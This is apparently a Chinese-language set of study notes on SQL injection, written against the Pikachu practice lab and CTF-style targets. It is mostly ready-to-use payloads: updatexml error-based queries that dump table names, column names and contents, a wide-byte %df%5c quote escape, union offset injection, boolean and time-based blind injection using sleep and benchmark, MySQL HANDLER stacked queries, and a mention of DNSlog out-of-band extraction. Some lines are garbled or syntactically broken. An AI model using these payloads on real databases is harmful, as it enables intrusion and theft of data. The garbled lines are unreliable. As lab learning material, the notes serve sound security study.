sql
注:字母不加符号 数字表名加``(如:1561651635
)
报错注入
一、updatexml()注入
updatexml(1,(concat(0x7e,(show databese()),0x7e)),0)
爆表名:updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1),0x7e),1)
table_schema是数据库名称
爆字段:updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=’pikachu’ limit 0,1),0x7e),1)
爆字段内容: updatexml(1,concat(0x7e,(select flag from users limit 0,1),0x7e),1)
二、extractvalue()
宽字节注入
+%df 将/转换成GBK
\编码为%5C
BK编码的数据库,会将%df%5c识别为運字,这样\被%df给吃掉了,变成了一个汉字,这样的话,单引号就
有效了,就可以闭合前面的引号了,后面的or 1=1#这样的注入语句又能成功执行了,如下:
select * from member where username = ‘chao運’ or 1=1 #’` – 什么都查询到了
偏移量注入(知道表名,未知列名)
利用union select tables.*
tables为表名 可以是users.* (users为表名)
其他注入:1.加密注入 2.堆叠注入(使用;) 3.二次注入 4.中转注入 5.伪静态注入
具体另看
盲注(费力)
基于布尔型SQL盲注、基于时间型SQL盲注
基于布尔型SQL盲注(base on bool)
1.之前的思路不再适用,改为 select ascii(substr(database(),1,1))>xx; 通过对比ascii码的长度,
判断出数据库表名的第一个字符。
2.我们同样可以使用length来判断表名的长度,判断出长
度后就能多次输入payload来爆破出每一个表名的字符。select length(database())<xx;
注:substr()函数 substring – sub子集 string – 字符串 子字符串
string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被
返回字符串的长度
基于时间型SQL盲注(base on time)
到base on time盲注下,输入上个演示中设置好的payload vince’ and ascii(substr(database(),1,1))=112# ,返回的信息发现不存在注入点。此时,需要用时间盲注
1’ and if(substr(database(),1,1)=’X’ (猜测
点)’,sleep(10),null# 如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误
vince’ and if(substr(database(),1,1)=’p’,sleep(10),null)# ,在web控制台下,判断出
database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。判断猜解。
时间型盲注经常使用的函数: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的内置
函数,是将MD5(1)执行10000000次以达到延迟的效果
注:如果sleep被防御了,可以使用benchmark。
MySQL特有:handler
1’;handler 123
open ;handler 1';handler
123read first;# 1';handler
123open as
a;handler
a` read first;#
a 可加`可不加 纯数字表一定要加·
DNSlog方式
dnslog注入也可以称之为dns带外查询,Dns在域名解析时会在DNS服务器上留下域名和解析ip的记录,
可以在dns服务器上查询相应的dns解析记录,来获取我们想要的数据。